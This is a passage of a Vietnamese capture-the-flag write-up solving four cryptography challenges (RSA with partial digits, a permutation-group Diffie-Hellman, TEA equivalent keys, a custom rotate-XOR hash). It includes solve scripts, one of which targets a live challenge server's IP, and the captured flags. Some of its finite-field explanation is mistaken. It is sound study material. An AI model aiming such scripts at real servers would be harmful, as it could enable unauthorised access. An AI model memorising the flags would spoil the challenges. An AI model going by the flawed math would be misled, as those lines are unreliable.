    f.write(f'ct = {enc_flag.hex()}\n')
    f.write(f'p = {str(cipher.key.p)[::2]}\n')
    f.write(f'q = {str(cipher.key.q)[1::2]}')
  • Output:
n = 124489602600121701274548809815923584607837171501534880261503180856938186391623267155644651085143459140143217303598468742852882882427469507691050712387595895502373303396701424516638188457555247307277206394398562666677288285701252034906810402407918122597636299856574712902166065585733567177021600418361645177173
ct = 1f287749a7dae2256bec91f58c614d57471ad05ccadc6f6923b46798571db3c623dd14157e8b909ed1fbba3af6e0dec562b120a64f261da0f591504b03c99054eed8b698725b6707c5250cce0308a289a83a8ff89790e845f6aab43a0e9419ba843cc729aeef3ad39ce23f17ad30c3a2e7743c5007d2f684019efbadf1592aad
p = 171539328165412321875748057028552243899150327277402310685789246185479388035679
q = 12370078203860528037238299503161295765194367399450231656330777573089075282486

Solution

Bài này làm mình khá nản lúc đầu nhưng may có anh Tuệ support nên đã làm được. Bài thuộc một dạng RSA với partial known bits (nói là bits thôi nhưng thực ra các số pq đã bị khuyết mất các chữ số).

Mình đã biết được pq kia chính là các số còn lại sau khi thay đổi p, q ban đầu. Cụ thể với p từ vị trí [0] đến cuối thì cách một chữ số lại xóa đi một lần, q thì xuất phát từ vị trí [1].

Để làm được bài này thì mình cần sử dụng một chút toán tiểu học và logic. Xét phép nhân p * q == n, theo như cách nhân từng học thì:

p[-1] * q[-1] == n[-1]
p[-2] * q[-2] == n[-2]
...
  • Nếu kết quả vượt quá 10 thì nhớ và lấy chữ số hàng đơn vị rồi cộng phần nhớ cho hàng tiếp theo, cụ thể như sau:
Giả sử có:
p[-1] = 3, p[-2] = 2
q[-1] = 5, q[-2] = 3
thì :
    n[-1] = 3 * 5 = 15, viết 5 nhớ 1
    n[-2] = 2 * 3 = 6, nhớ 1 là 7
nhận được n[-1] = 5 và n[-2] = 7
  • Bản chất chính là:
n[-1] = p[-1] * q[-1] (mod 10)
n[-2] = p[-1] * q[-1] + n[-1] // 10 (mod 10)
...

Vì vậy áp dụng logic trên, ta có thể recover lại toàn bộ số pq, code hơi khó một chút nhưng khá hay. Idea ở đây là thử từng trường hợp vào chỗ khuyết rồi nhân lại xem thỏa mãn hay không.

Full code:

from Crypto.Util.number import *
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.PublicKey.RSA import RsaKey

class RSACipher:
    def __init__(self, bits):
        self.key = RsaKey(n=n, e=e, d=inverse(e, (p-1)*(q-1)), p=p, q=q, u=inverse(p, q))
        self.cipher = PKCS1_OAEP.new(self.key)

    def decrypt(self, c):
        return self.cipher.decrypt(c)

e = 65537
n = 118641897764566817417551054135914458085151243893181692085585606712347004549784923154978949512746946759125187896834583143236980760760749398862405478042140850200893707709475167551056980474794729592748211827841494511437980466936302569013868048998752111754493558258605042130232239629213049847684412075111663446003
ct = '7f33a035c6390508cee1d0277f4712bf01a01a46677233f16387fae072d07bdee4f535b0bd66efa4f2475dc8515696cbc4bc2280c20c93726212695d770b0a8295e2bacbd6b59487b329cc36a5516567b948fed368bf02c50a39e6549312dc6badfef84d4e30494e9ef0a47bd97305639c875b16306fcd91146d3d126c1ea476'
c = int(ct, 16)
leak_p = '1_5_1_4_4_1_4_7_3_3_5_7_1_3_6_1_5_2_9_8_5_2_1_6_9_8_0_3_9_7_5_2_5_5_9_1_3_0_5_8_7_5_0_9_4_2_8_8_7_3_8_8_2_0_6_9_9_0_6_9_2_7_1_6_7_4_0_2_2_1_6_7_9_0_2_6_4_3'
leak_q = '_1_5_6_2_4_3_4_2_0_0_5_7_7_4_1_6_6_5_2_5_0_2_4_6_0_8_0_6_7_4_2_6_5_5_7_0_9_3_5_6_7_3_9_2_6_5_2_7_2_3_1_7_5_3_0_1_6_1_5_4_2_2_3_8_4_5_0_8_2_7_4_2_6_9_3_0_5_'

leak_p = leak_p.replace('_', '0')
leak_q = leak_q.replace('_', '0')

pq = {(int(leak_p), int(leak_q))}
TH = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

for i in range(155//2 + 1):
    trials = set()
    for p, q in pq:
        for _p in TH:
            temp_p = p + _p*pow(10, 2*i + 1)
            for _q in TH:
                temp_q = q + _q*pow(10, 2*i)
                mod = pow(10, 2*i + 2)
                if (temp_p * temp_q) % mod != n % mod:
                    continue
                trials.add((temp_p, temp_q))
    pq = trials
p = list(pq)[0][0]
q = list(pq)[0][1]
assert p*q == n

cipher = RSACipher(1024)
flag = cipher.decrypt(long_to_bytes(int(ct, 16))).decode()
print(flag)

Flag

HTB{v3r1fy1ng_pr1m3s_m0dul0_p0w3rs_0f_10!}

Permuted

credit: Zupp

Description

  • Source:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes

from hashlib import sha256
from random import shuffle

from secret import a, b, FLAG

class Permutation:
    def __init__(self, mapping):
        self.length = len(mapping)

        assert set(mapping) == set(range(self.length))     # ensure it contains all numbers from 0 to length-1, with no repetitions
        self.mapping = list(mapping)

    def __call__(self, *args, **kwargs):
        idx, *_ = args
        assert idx in range(self.length)
        return self.mapping[idx]

    def __mul__(self, other):
        ans = []

        for i in range(self.length):
            ans.append(self(other(i)))

        return Permutation(ans)

    def __pow__(self, power, modulo=None):
        ans = Permutation.identity(self.length)
        ctr = self

        while power > 0:
            if power % 2 == 1:
                ans *= ctr
            ctr *= ctr
            power //= 2

        return ans

    def __str__(self):
        return str(self.mapping)

    def identity(length):
        return Permutation(range(length))


x = list(range(50_000))
shuffle(x)

g = Permutation(x)
print('g =', g)

A = g**a
print('A =', A)
B = g**b
print('B =', B)

C = A**b
assert C.mapping == (B**a).mapping

sec = tuple(C.mapping)
sec = hash(sec)
sec = long_to_bytes(sec)

hash = sha256()
hash.update(sec)

key = hash.digest()[16:32]
iv = b"mg'g\xce\x08\xdbYN2\x89\xad\xedlY\xb9"

cipher = AES.new(key, AES.MODE_CBC, iv)

encrypted = cipher.encrypt(pad(FLAG, 16))
print('c =', encrypted)

Challenge output: output.txt

Solution

Với mình thì chall này khá lỏ, google đã có nhưng không thèm osint nên mất khá nhiều time để solve. Về cơ bản thì bài cũng sử dụng giao thức DH nhưng thay vì ECC hay dlog như hai chall trên thì là Permuted. Dạng này khá mới với mình nhưng được mọi người support nên cũng đấm được.

Như hai bài trên, ta vẫn cần tìm lại key, cụ thể là tìm priv_a hoặc priv_b. Đọc source thì biết được phép toán trang bị trong nhóm Permuted này, bên cạnh đó, qua việc test nhiều lần thì mình nhận ra các phần tử trong nhóm Permuted này đều có các vòng giao hoán của nó, tạm gọi là order.

order ở đây là số k nhỏ nhất sao cho g**k = g, cái này khá giống với order trong định nghĩa nhóm. Vậy tại sao mình lại phân tích yếu tố order này?

Dựa vào hai paper nàycả này nữa, mình khá chắc có thể thực hiện dlog để tìm lại key. Nhưng dlog ở đây chỉ có approach giống Pohlig-Hellman, không phải hoàn toàn giống. Mình sẽ vẫn tìm lại order rồi factor, giải các phương trình nhỏ rồi dùng CRT để output ra kết quả cuối cùng.

Để tìm a thỏa A = g**a, trước tiên mình sẽ thử tính g.order(). Hàm order() này có thể dùng trong sage hoặc tự viết cũng được, nhưng cuối cùng sẽ tìm được: g.order() = 3311019189498977856900

Khi factor g.order() mình nhận được ước số khá bé, rất dễ dàng cho thuật toán Pohlig-Hellman trong Sn (Symmetric Group). Cụ thể code để tìm lại dlog như sau:

from output import g, A, B
from sage.all import *

g = PermutationGroupElement(Permutation([i+1 for i in g]))
A = PermutationGroupElement(Permutation([i+1 for i in A]))
B = PermutationGroupElement(Permutation([i+1 for i in B]))

o = g.order()
a = []
b = []
for p,e in factor(o):
    tg = g^(ZZ(o/p^e))
    tA = A^(ZZ(o/p^e))
    tB = B^(ZZ(o/p^e))
    for i in range(p^e):
        if tg^i==tA:
            a.append([i,p^e])
    for i in range(p^e):
        if tg^i==tB:
            b.append([i,p^e])
print(a)
print(b)
a = crt([i[0] for i in a],[i[1] for i in a])
b = crt([i[0] for i in b],[i[1] for i in b])

(Nhớ dùng trong sage)

Khi tìm lại được cả ab mình đã assert oke đồng nghĩa với approach mình đúng và có thể giải flag dễ dàng rồi.

  • Script:
from output import g, A, B
from hashlib import sha256
from Crypto.Util.number import *
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES

g = PermutationGroupElement(Permutation([i+1 for i in g]))
A = PermutationGroupElement(Permutation([i+1 for i in A]))
B = PermutationGroupElement(Permutation([i+1 for i in B]))

o = g.order()
a = []
b = []
for p,e in factor(o):
    tg = g^(ZZ(o/p^e))
    tA = A^(ZZ(o/p^e))
    tB = B^(ZZ(o/p^e))
    for i in range(p^e):
        if tg^i==tA:
            a.append([i,p^e])
    for i in range(p^e):
        if tg^i==tB:
            b.append([i,p^e])
a = crt([i[0] for i in a],[i[1] for i in a])
b = crt([i[0] for i in b],[i[1] for i in b])

assert g^a == A
assert g^b == B

class Permutationx:
    def __init__(self, mapping):
        self.length = len(mapping)

        assert set(mapping) == set(range(self.length))     # ensure it contains all numbers from 0 to length-1, with no repetitions
        self.mapping = list(mapping)

    def __call__(self, *args, **kwargs):
        idx, *_ = args
        assert idx in range(self.length)
        return self.mapping[idx]

    def __mul__(self, other):
        ans = []

        for i in range(self.length):
            ans.append(self(other(i)))

        return Permutationx(ans)

    def __pow__(self, power, modulo=None):
        ans = Permutationx.identity(self.length)
        ctr = self

        while power > 0:
            if power % 2 == 1:
                ans *= ctr
            ctr *= ctr
            power //= 2

        return ans

    def __str__(self):
        return str(self.mapping)

    def identity(length):
        return Permutationx(range(length))

from output import g, A, B
g = Permutationx(g)
assert str(g**a) == str(A) and str(g**b) == str(B)

A, B = Permutationx(A), Permutationx(B)
C = A**b
assert C.mapping == (B**a).mapping

sec = tuple(C.mapping)
sec = hash(sec)
sec = long_to_bytes(sec)

hash = sha256()
hash.update(sec)

key = hash.digest()[16:32]
enc = b'\x89\xba1J\x9c\xfd\xe8\xd0\xe5A*\xa0\rq?!wg\xb0\x85\xeb\xce\x9f\x06\xcbG\x84O\xed\xdb\xcd\xc2\x188\x0cT\xa0\xaaH\x0c\x9e9\xe7\x9d@R\x9b\xbd'
iv = b"mg'g\xce\x08\xdbYN2\x89\xad\xedlY\xb9"

cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(enc), 16).decode()
print(flag)

Flag

HTB{w3lL_n0T_aLl_gRoUpS_aRe_eQUaL_!!}

Tsayaki

credit: Zupp

Description

  • Source:
from tea import Cipher as TEA
from secret import IV, FLAG
import os

ROUNDS = 10

def show_menu():
    print("""
============================================================================================
|| I made this decryption oracle in which I let users choose their own decryption keys.   ||
|| I think that it's secure as the tea cipher doesn't produce collisions (?) ... Right?   ||
|| If you manage to prove me wrong 10 times, you get a special gift.                      ||
============================================================================================
""")

def run():
    show_menu()

    server_message = os.urandom(20)
    print(f'Here is my special message: {server_message.hex()}')

    used_keys = []
    ciphertexts = []
    for i in range(ROUNDS):
        print(f'Round {i+1}/10')
        try:
            ct = bytes.fromhex(input('Enter your target ciphertext (in hex) : '))
            assert ct not in ciphertexts

            for j in range(4):
                key = bytes.fromhex(input(f'[{i+1}/{j+1}] Enter your encryption key (in hex) : '))
                assert len(key) == 16 and key not in used_keys
                used_keys.append(key)
                cipher = TEA(key, IV)
                enc = cipher.encrypt(server_message)
                if enc != ct:
                    print(f'Hmm ... close enough, but {enc.hex()} does not look like {ct.hex()} at all! Bye...')
                    exit()
        except:
            print('Nope.')
            exit()

        ciphertexts.append(ct)

    print(f'Wait, really? {FLAG}')


if __name__ == '__main__':
    run()

Challenge code: Tương tự bài Iced TEA

Solution

Trước hết, mình sẽ phân tích flow của server. Server đầu tiên sẽ cung cấp cho chúng ta một server_message (gọi tắt là sm). sm sẽ được mã hóa bằng thuật toán TEA-CBC với IV cố định (IV này lấy từ local), vậy còn key thì sao? Chúng ta sẽ chính là người cung cấp key cho bài. Thực chất server sẽ chạy 10 vòng, ở mỗi vòng sẽ lấy vào ct và 4 key của mình, nếu có thể tạo ra collision giữa ctenc_sm thì được accept và chạy vào vòng kế tiếp. Tất nhiên sau khi sử dụng key nào thì key đó sẽ trở nên useless cho vòng key tiếp theo. ct cũng không được reused btw 😺:

Nếu bypass được tất cả 10 vòng này thì server sẽ nhả flag cho mình, nói là 10 vòng cho bé thôi chứ mỗi vòng chính lại cần tìm 4 key khác nhau, tổng cộng là mình cần có 10 cặp (4 keys, ct) để break bài này.

Trước hết IV là cố định và mode là CBC nên việc recover lại IV không quá khó, yêu cầu hiểu về các mode là có thể làm được rồi:

CBC

Như đã thấy, đề bài cung cấp cho chúng ta sm, bản mã của sm, key do chúng ta cung cấp, vậy thì bằng một thủ thuật đơn giản mình có thể tìm lại được IV:

CBC:
E(key, sm ^ IV) = enc_sm
D(key, enc_sm) = sm ^ IV

Tuy nhiên nếu để ý kĩ, ta sẽ thấy D(key, enc_sm) của CBC khá giống với ECB, vậy nên mình sẽ decrypt(enc_sm) bằng mode ECB và xor output với sm là recover xong IV:

from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from Crypto.Util.Padding import unpad, pad
from enum import Enum

class Mode(Enum):
    ECB = 0x01
    CBC = 0x02

class Cipher:
    def __init__(self, key, iv=None):
        self.BLOCK_SIZE = 64
        self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)]
        self.DELTA = 0x9e3779b9
        self.IV = iv
        if self.IV:
            self.mode = Mode.CBC
        else:
            self.mode = Mode.ECB

    def _xor(self, a, b):
        return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))

    def decrypt(self, ciphertext):
        blocks = [ciphertext[i:i+self.BLOCK_SIZE//8] for i in range(0, len(ciphertext), self.BLOCK_SIZE//8)]

        pt = b''
        if self.mode == Mode.ECB:
            for ct_block in blocks:
                pt += self.decrypt_block(ct_block)
        elif self.mode == Mode.CBC:
            X = self.IV
            for ct_block in blocks:
                dec_block = self.decrypt_block(ct_block)
                pt += self._xor(X, dec_block)
                X = ct_block
        return pt

    def decrypt_block(self, ciphertext):
        c = b2l(ciphertext)
        K = self.KEY
        msk = (1 << (self.BLOCK_SIZE//2)) - 1

        m0 = c >> (self.BLOCK_SIZE//2)
        m1 = c & ((1 << (self.BLOCK_SIZE//2)) - 1)

        s = self.DELTA * 32
        for i in range(32):
            m1 -= ((m0 << 4) + K[2]) ^ (m0 + s) ^ ((m0 >> 5) + K[3])
            m1 &= msk
            m0 -= ((m1 << 4) + K[0]) ^ (m1 + s) ^ ((m1 >> 5) + K[1])
            m0 &= msk
            s -= self.DELTA

        m = (m0 << (self.BLOCK_SIZE//2)) | m1
        return l2b(m)

pt = '712ebc63b7ee138ddf8e2405309c38448b310e6d'
key = b'1' * 16
ct = 'ac442644f6e843e4382da8864248e85751ef723cc9a14d34'

pt, ct = bytes.fromhex(pt), bytes.fromhex(ct)
cipher = Cipher(key)
temp = cipher.decrypt(ct)
IV = cipher._xor(temp, pt)[:8]
print(IV)

(Nhớ dùng lại file như bài Iced TEA. ptct ở trên là mình lấy từ server, còn key là của mình gửi lên)

Tìm được IV = b'\r\xdd\xd2w<\xf4\xb9\x08' (chỉ 8 bytes thôi nên đừng confuse 🐒, just chill). Việc tìm lại IV rất có ý nghĩa cho attack của mình vì mình phải gửi lên ct đã encrypt bằng keyIV.

Công việc tiếp theo yêu cầu chúng ta kiến thức về Equivalent keys. Tài liệu tham khảo về Equivalent keys có thể xem ở mục 3.5 trong đây (shout-out anh Thangcoithongminh 🔥). Vì paper đã viết khá rõ rồi nên mình sẽ chỉ giải thích vulnerability thôi. Nếu nhìn vào hàm encrypt_block trong class Cipher:

Vul

Thì ai cũng sẽ nhận ra vấn đề các key khác nhau có thể mã hóa giống nhau cho một bản rõ, ở đây maximum chỉ tìm được 3 key khác nên số vòng test key là 4 :monkey:

Dài dòng như trên nhưng cuối cùng kiểu gì cũng sẽ tìm được 4 keys lần lượt là:

h = 0x80000000

K0 = k0 + k1 + k2 + k3
K1 = k0 + k1 + xor(k2, h) + xor(k3, h)
K2 = xor(k0, h) + xor(k1, h) + k2 + k3
K3 = xor(k0, h) + xor(k1, h) + xor(k2, h) + xor(k3, h)

Tới đây thì done, mình đã có các key rồi, giờ đem đi thử nghiệm thôi:

pt = '712ebc63b7ee138ddf8e2405309c38448b310e6d'
key = b'1' * 16
ct = 'ac442644f6e843e4382da8864248e85751ef723cc9a14d34'
pt, ct = bytes.fromhex(pt), bytes.fromhex(ct)
IV = b'\r\xdd\xd2w<\xf4\xb9\x08'

def keys(key):
    h = 0x80000000
    h = l2b(h)

    k = [key[i:i+4] for i in range(0, 16, 4)]
    K0 = k[0] + k[1] + k[2] + k[3]
    K1 = k[0] + k[1] + xor(k[2], h) + xor(k[3], h)
    K2 = xor(k[0], h) + xor(k[1], h) + k[2] + k[3]
    K3 = xor(k[0], h) + xor(k[1], h) + xor(k[2], h) + xor(k[3], h)
    return [K0, K1, K2, K3]


for key in keys(key):
    cipher = Cipher(key, IV)
    test = cipher.encrypt(pt)
    print(test == ct)

Gotcha, giờ mình sẽ viết full code cho bài:

from pwn import *
from source import Cipher
from Crypto.Util.number import *

def keys(key: bytes):
    h = 0x80000000
    h = long_to_bytes(h)

    k = [key[i:i+4] for i in range(0, 16, 4)]
    K0 = k[0] + k[1] + k[2] + k[3]
    K1 = k[0] + k[1] + xor(k[2], h) + xor(k[3], h)
    K2 = xor(k[0], h) + xor(k[1], h) + k[2] + k[3]
    K3 = xor(k[0], h) + xor(k[1], h) + xor(k[2], h) + xor(k[3], h)
    return [K0, K1, K2, K3]

HOST = '83.136.254.199'
PORT = 36738
IV = b'\r\xdd\xd2w<\xf4\xb9\x08'

r = remote(HOST, PORT)
r.recvuntil(b': ')
sm = r.recvuntil(b'\n').split(b'\n')[0].decode()

for round in range(10):
    key = (str(round) * 16).encode()
    ct = Cipher(key=key, iv=IV).encrypt(bytes.fromhex(sm))
    r.sendlineafter(b' (in hex) : ', bytes.hex(ct).encode())
    temp = keys(key)
    for k in temp: 
        r.sendlineafter(b'(in hex) : ', bytes.hex(k).encode())
    print(f'Finish round number: {round + 1} !!!')
    if round == 9:
        print(r.recv().decode())

Flag

HTB{th1s_4tt4ck_m4k3s_T34_1n4ppr0pr14t3_f0r_h4sh1ng!}

ROT128

credit: Zupp

Description

  • Source:
import random, os, signal
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from secret import FLAG

ROUNDS = 3
USED_STATES = []
_ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1)
N = 128

def handler(signum, frame):
    print("\n\nToo slow, don't try to do sneaky things.")
    exit()

def validate_state(state):
    if not all(0 < s < 2**N-1 for s in user_state[-2:]) or not all(0 <= s < N for s in user_state[:4]):
        print('Please, make sure your input satisfies the upper and lower bounds.')
        return False

    if sorted(state[:4]) in USED_STATES:
        print('You cannot reuse the same state')
        return False

    if sum(user_state[:4]) < 2:
        print('We have to deal with some edge cases...')
        return False

    return True

class HashRoll:
    def __init__(self):
        self.reset_state()

    def hash_step(self, i):
        r1, r2 = self.state[2*i], self.state[2*i+1]
        return _ROL_(self.state[-2], r1) ^ _ROL_(self.state[-1], r2)

    def update_state(self, state=None):
        if not state:
            self.state = [0] * 6
            self.state[:4] = [random.randint(0, N) for _ in range(4)]
            self.state[-2:] = [random.randint(0, 2**N) for _ in range(2)]
        else:
            self.state = state

    def reset_state(self):
        self.update_state()

    def digest(self, buffer):
        buffer = int.from_bytes(buffer, byteorder='big')
        m1 = buffer >> N
        m2 = buffer & (2**N - 1)
        self.h = b''
        for i in range(2):
            self.h += int.to_bytes(self.hash_step(i) ^ (m1 if not i else m2), length=N//8, byteorder='big')
        return self.h


print('Can you test my hash function for second preimage resistance? You get to select the state and I get to choose the message ... Good luck!')

hashfunc = HashRoll()

for _ in range(ROUNDS):
    print(f'ROUND {_+1}/{ROUNDS}!')

    server_msg = os.urandom(32)
    hashfunc.reset_state()
    server_hash = hashfunc.digest(server_msg)
    print(f'You know H({server_msg.hex()}) = {server_hash.hex()}')

    signal.signal(signal.SIGALRM, handler)
    signal.alarm(2)

    user_state = input('Send your hash function state (format: a,b,c,d,e,f) :: ').split(',')

    try:
        user_state = list(map(int, user_state))

        if not validate_state(user_state):
            print("The state is not valid! Try again.")
            exit()

        hashfunc.update_state(user_state)

        if hashfunc.digest(server_msg) == server_hash:
            print(f'Moving on to the next round!')
            USED_STATES.append(sorted(user_state[:4]))
        else:
            print('Not today.')
            exit()
    except:
        print("The hash function's state must be all integers.")
        exit()
    finally:
       signal.alarm(0)

print(f'Uhm... how did you do that? I thought I had cryptanalyzed it enough ... {FLAG}')

Solution

Bài này là bài lỏ nhất mình từng làm, một là vì có cả unintended solution, hai là bài này hơi quá khó để mình giải và thực sự học được gì đó. Tuy nhiên mình sẽ cố để hấp thụ tinh hoa trong bài toán này.

Trước hết, file source gợi ý cho mình về ý tưởng khai thác second preimage resistance của hàm băm tự chế HashRoll(). Chúng ta sẽ cần break 3 lần liên tiếp để server nhả flag. Về công việc trong mỗi vòng, mình có thể tóm tắt lại như sau:

  • Server đẻ ra một server_msg với 32 bytes, sau đó trả ra cho chúng ta một hàm băm của server_msg gọi là server_hash = H(server_msg)

  • Trong 2s, chúng ta sẽ cần nhập vào các user_state hợp lệ, sau đó server sẽ thử băm user_state ra, nếu H(user_state) = server_hash thì chuyển tới vòng tiếp theo.

    Như vậy, công việc chính của mỗi vòng là tìm user_state, tạm gọi là S' sao cho H(S') = H(S), với Sserver_msg. Trong đó, S' (cũng như S) gồm có các thành phần a, b, c, d là số bits để ROL - left rotate (dịch vòng trái) và e, f là hai số 128 bits sắp ROLed. Tuy nhiên, có hai điều cần phải lưu ý, S' cần phải hợp lệ, tức là:

    • Không được reuse lại S'

    • Tổng a + b + c + d không được nhỏ hơn 2 (tránh vài trường hợp đặc biệt)

    • a, b, c, d phải nằm trong nửa đoạn [0, 128), ef phải nằm trong khoảng (0, 2^128 - 1)

Tất cả mọi thứ đều được phân tích xong, đã biết được chúng ta cần gửi lên server bộ số (a, b, c, d, e, f) sao cho

H(S') = H(S)
<=> h1' + h2' = ROL(e, a) ^ ROL(f, b) ^ m1 + ROL(e, c) ^ ROL(f, d) ^ m2 = h1 + h2

Giờ mình sẽ đi tới cách attack, theo cả unintended và intended solution.

Unintended solution

Unintended solution này xảy ra vì chúng ta có thể dùng z3 để giải. Khi đề bài cho mình server_msg (S) và server_hash (H(S))cũng đồng nghĩa với việc chúng ta có được các giá trị h1, h2 (từ H(S)) và m1, m2 (từ S). Về chi tiết mình sẽ không đi quá sâu mà chỉ gợi ý tìm bằng cách khai thác bufferbuffer = l2b(S). Từ đây, chắc chắn một điều ta có thể giải ra bộ số (a, b, c, d, e, f) thỏa mãn h1' + h2' = h1 + h2 như trên bằng z3. Đóng gói bộ số này gửi lên server là xong:

from z3 import *
from pwn import *
import re

HOST = 
PORT = 

def find_hex_strings(text):
    pattern = r'\b[a-fA-F0-9]{64}\b'
    hex_strings = re.findall(pattern, text)
    return hex_strings
while True:
    try:
        r = remote(HOST, PORT)

        for i in range(3):
            data = r.recvuntil(b"Send your hash function state (format: a,b,c,d,e,f) ::").decode()

            data = find_hex_strings(data)
            buffer = int(data[0], 16)
            h = data[1]

            N = 128
            _ROL_ = lambda x, i: ((x << i) | (x >> (N-i))) & (2**N - 1)

            m1 = buffer >> N
            m2 = buffer & (2**N - 1)

            h1 = int(h[:32], 16) ^ m1 
            h2 = int(h[32:], 16) ^ m2

            solver = Solver()

            # Declare e and f as 128 bit BitVecs
            e, f = BitVecs('e f', N)

            def constraint_ROL_xor(e, f, i1, i2, h):
                return _ROL_(e, i1) ^ _ROL_(f, i2) == h


            a, b, c, d = BitVecs('a b c d', 7)
            a,b,c,d = ZeroExt(128-7, a), ZeroExt(128-7, b), ZeroExt(128-7, c), ZeroExt(128-7, d)

            solver.add(constraint_ROL_xor(e, f, a, b, h1))
            solver.add(constraint_ROL_xor(e, f, c, d, h2))

            if solver.check() == sat:
                m = solver.model()
                print(m)
                dict = {d.name(): m[d] for d in m.decls()}
                res = f"{dict['a']},{dict['b']},{dict['c']},{dict['d']},{dict['e']},{dict['f']}"
                r.sendline(res.encode())
                r.recvline()
                print(r.recvline())

    except:
        pass

(Shout-out anh lilthawg vì bộ code lỏ này 🔥)

Tuy nhiên không nên vứt máy một chỗ rùi chạy code vì code brute vô hạn không ngừng có lúc đúng có lúc sai và sẽ có một lúc nào đó mọi người không ngờ mà flag lòi ra đâu 🐧

Intended solution

Về intended solution của bài này thì dài kinh khủng khiếp (vì là Insane mà). Tuy nhiên, có thể thu nhỏ vấn đề lại về bài viết này

Nếu đọc bài viết trên, ta có thể hình thành hoàn toàn lời giải cho bài này, tuy nhiên mình cần làm rõ một vài vấn đề:

Ta đã biết phép xor chính là phép cộng trong trường Fp với p = 2, vậy còn phép dịch trái thì sao. Dịch trái 1 bit tương ứng với việc nhân số đó với 2^1, 2 bits là nhân với 2^2, tổng quát lại, dịch k bits là nhân với 2^k.

Tuy nhiên, nếu phần tử A của ta là đa thức, khi đó, ta gọi trường hữu hạn Fp trên là một vành đa thức (polynomial rings) Fp[z] thỏa mãn A là một tổ hợp tuyến tính của a[i] * z^i, a[i] là phần tử của Fp. Trong bài này, trường nghiên cứu là GF(2^128)

Vậy kiến thức này liên quan đến gì tới bài, thực ra nhiều là đằng khác. Xét cách biểu diễn đa thức của một số trong trường GF(2^k) - là trường Galois đã gặp trong mã hóa AES với k = 3, ta có GF(2^3) và trường này có 8 phần tử phân biệt từ 0 đến 7, cụ thể như sau:

SốBiểu diễn nhị phânBiểu diễn đa thức
00000x^2 + 0x^1 + 0x^0 = 0
10010x^2 + 0x^1 + 1x^0 = 1
20100x^2 + 1x^1 + 0x^0 = x
30110x^2 + 1x^1 + 1x^0 = x + 1
41001x^2 + 0x^1 + 0x^0 = x^2
51011x^2 + 0x^1 + 1x^0 = x^2 + 1
61101x^2 + 1x^1 + 0x^0 = x^2 + x
71111x^2 + 1x^1 + 1x^0 = x^2 + x + 1
  • Nói cách khác, các phần tử trong trường GF(2^8) được biểu diễn dưới dạng trên (cột 3). Nếu ta xor hai phần tử với nhau, giả sử 7 xor 3 sẽ nhận được kết quả là x^2, vì:
7 xor 3
= 7 + 3 (mod 2)
= (x^2 + x + 1) + (x + 1) (mod 2)
= x^2 + 2x + 2 (mod 2)
= x^2 (mod 2)

Đối với bài, trường chúng ta làm việc sẽ là GF(2^128) và chứa 128 phần tử từ 0 đến 127. Khi đó, nếu tính h1'h2' như bài, ta sẽ thực hiện:

h1' = ROL(e, a) ^ ROL(f, b) ^ m1
h2' = ROL(e, c) ^ ROL(f, d) ^ m2

<=> h1' ^ m1 = ROL(e, a) ^ ROL(f, b)
    h2' ^ m2 = ROL(e, c) ^ ROL(f, d)
- Nếu chọn a = c, khi đó:
h1' ^ m1 = ROL(e, a) + 2**b * f
h2' ^ m2 = ROL(e, a) + 2**d * f (theo như lí thuyết ở trên)

=> h1' ^ m1 ^ h2' ^ m2 = 2**b * f ^ 2**d * f
=> h1' ^ m1 ^ h2' ^ m2 = (2**b ^ 2**d)f
=> f = (h1' ^ m1 ^ h2' ^ m2) / (2**b ^ 2**d)
=> f = (h1 ^ h2 ^ m1 ^ m2) / (2**b ^ 2**d)
+ Đến đây chỉ cần check factor như bài viết trong link là được

- Ta có ROL(e, a) = 2**a * e
=> 2**a = ROL(e, a) / e
=> a = log2(ROL(e, a) / e)
+ Đến đây cũng check factor như bài viết trong link

- Lại có e = ROL(e, a) / (2**a)
=> e = (h1' ^ m1 - ROL(f, b)) / (2**a)
=> e = (h1 ^ m1 - ROL(f, b)) / (2**a)

Vậy chúng ta đã có đầy đủ bộ số (e, f) dựa vào (a, b, c, d)(h1, h2, m1, m2) thỏa mãn yêu cầu đề bài, vậy attack thôi.

Code:

from pwn import process
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
import itertools, math
from sage.all import *

N = 128
F = GF(2**N, 'w')
w = F.gen()
PR = PolynomialRing(GF(2), 'z')
z = PR.gen()
_ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1)

def int2pre(i):
    coeffs = list(map(int, bin(i)[2:].zfill(N)))[::-1]
    return PR(coeffs)

def pre2int(p):
    coeffs = p.coefficients(sparse=False)
    return sum(2**i * int(coeffs[i]) for i in range(len(coeffs)))

def pre2int(p):
    coeffs = p.coefficients(sparse=False)
    return sum(2**i * int(coeffs[i]) for i in range(len(coeffs)))

def get_all_bd():
    powers = '0123456789'
    cands = itertools.product(powers, repeat=2)
    bd = {}
    for cand in set(cands):
        b = int(cand[0])
        d = int(cand[1])
        s = 2**b + 2**d
        bd[s] = sorted([b, d])
    return bd

def get_b_and_d(H, bd, visited):
    factors = sorted([F(i**j).integer_representation() for i,j in list(H.factor())])
    for fact in factors:
        if fact in visited: continue
        if fact in bd:
            b, d = bd[fact]
            visited.append(fact)
            return (b, d)

def get_a_and_c(numer):
    numer_factors = sorted([F(i**j).integer_representation() for i,j in list(numer.factor())])
    cands = []
    for factor in numer_factors:
        a = int(math.log2(factor))
        if 2**a == factor:
            c = a
            cands.append((a, c))
    return cands

def solve(io, bd, used_states, visited):
    io.recvuntil(b'H(')
    server_msg = int(io.recv(64), 16)
    io.recvuntil(b' = ')
    server_hash = l2b(int(io.recvline().strip().decode(), 16))

    m1, m2 = server_msg >> N, server_msg & (2**N - 1)
    H1, H2 = b2l(server_hash[:16]) ^ m1, b2l(server_hash[16:]) ^ m2

    H = int2pre(H1) + int2pre(H2)
    if not H: return None

    bd = get_b_and_d(H, bd, visited)
    if not bd: return None
    b, d = bd
    assert H.mod(int2pre(2**b + 2**d)) == 0

